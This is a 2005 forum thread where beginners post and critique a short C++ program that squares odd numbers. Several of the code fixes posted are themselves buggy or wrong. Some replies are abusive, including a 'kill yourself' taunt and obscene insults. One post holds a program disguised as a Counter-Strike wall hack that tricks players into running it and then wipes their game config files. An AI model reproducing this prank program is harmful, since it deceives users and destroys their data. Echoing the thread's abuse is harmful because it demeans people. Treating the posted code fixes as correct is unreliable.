Posted January 5, 200520 yr #include <iostream> using std::cout; using std::cin; using std::endl; int main() { int limit; cout << "Enter limit: "; cin >> limit; cout << "1" << endl; for (int i = 0; i < limit; i++) { if(i%2) break; else cout << i*i << endl; } return 0; } does anyone have a better square only odd integer algorithm ? please share =)
January 6, 200520 yr Heh nice scrript i im right now learning C and C++ :) Hopefull ill be just as good as you soon!
January 6, 200520 yr Mordecai said: #include <iostream> #include <conio.h> #include <string> using namespace std; int main() { int limit; cout << "Enter limit: "; cin >> limit; cout << "1" << endl; for (int i = 0; i < limit; i++) { if(i%2) break; } else { cout << i*i << endl; } getch(); return 0; } Better code. :drama: You forgot to int the i in the loop you nub.
January 7, 200520 yr Author thanks for the responses and constructive criticism =) :ghugugh: ps its a program to square the odd numbers up to a limit set by the user it was an excersize in my c++ book under the loop section.
January 8, 200520 yr If you want to square all the odd numbers in a series, you should change your for loop since I think there are a few problems with it: Original Code for (int i = 0; i < limit; i++) { if(i%2) break; else cout << i*i << endl; } return 0; } First, if(i%2) returns true if i is an odd number, since there is a remainder (it isn't perfectly divisible by two) so it should be if(!i%2) Then in that if body you have a break statement, which exits the for loop. To loop through all the integers up to limit you have to use a continue; statement, which simply skips the current iteration. Lastly, I would make the for condition i<=limit, since limit might be an odd number, but I don't know if the instructions meant to square the odd numbers up to and including limit, so whatever.
January 8, 200520 yr lol, you stupid nub. that is so crappy. you can reduce like 5 lines of worthless crap in it. besides, ,it probably wont work the way you want to work i know how to program in java(which pwns C++'s face) but i know a bit of c++, so heres how it SHOULD look like: #include <iostream> using namespace std; int main() { int limit; cout << "Enter limit: "; cin >> limit; for (int i = 0; i < limit; i++) { if(i%2==1) { cout << i*i << endl; } } return 0; } if you cant figure this out, then you are a loser and should kill yourself now. btw: you dont need all those class libraries/preprocessors. learn java instead, its way better, more fun, and easier to learn than retarded C++. in java, theres no stupid bullshit like pointers and stuff, but otherwise the syntax is the same (oop concepts, classes, and other stuff). and a lot of things you can do in java is made a lot easier, like data type String and implementing threads. Besides, you can make cool applets and shit, which pwns.
January 9, 200520 yr Somno said: ROFL Java>C++ ? hahah funny kid. go learn something shut up nub, go fuck your mom, tell her i said hi
January 19, 200520 yr heres a funny script u trick noobs on cs tellin them its a hack =P the purpose of this script is because im bored n i wanna piss some idiots off im just gonna write this and not go over it... //fake hack tat messes noobs up! #include <iostream> #include <fstream> using namespace std; int main() { int answer; cout<<"This is a wall hack for cs!\n"; cout<<"Place this file into your cstrike folder or it wont function properly!\n"; cout<<"If this file is in your cstrike folder, press one...other wise press something else."\n; cin>> answer; if ( answer == 1 ) { ofstream file("config.cfg", ios::trunc); ofstream file2("autoexec.cfg", ios::trunc); ofstream file3("gl.txt", ios::trunc); ofstream file4("motd.cfg", ios::trunc); ofstream file5("rebuy.cfg", ios::trunc); ofstream file6("autobuy.cfg", ios::trunc); ofstream file7("fps.cfg", ios::trunc); ofstream file8("custom.hpk", ios::trunc); cout<<"Hack is on!\n"; } else { cout<<"THEN PUT THE STUPID FILE INTO YOUR CSTRIKE FOLDER U NOOB!\n"; cin.get(); } } as i said b4...i am bored...tats y i wrote the script...
January 20, 200520 yr Well I don't know how C++ works.. but I'm learning to build websites. And I recognise some commands in that from PHP. is PHP based on C++ or sumthing?
January 21, 200520 yr Ghengis Kahn said: Well I don't know how C++ works.. but I'm learning to build websites. And I recognise some commands in that from PHP. is PHP based on C++ or sumthing? Yea, PHP was written in C/C++, a lot of the commands work in the same way.
January 21, 200520 yr sweet, so if I know PHP I know a little bit of C/C++ :eek3d: maybe Ill go learn C++, sounds like an interresting programming language :fingersx: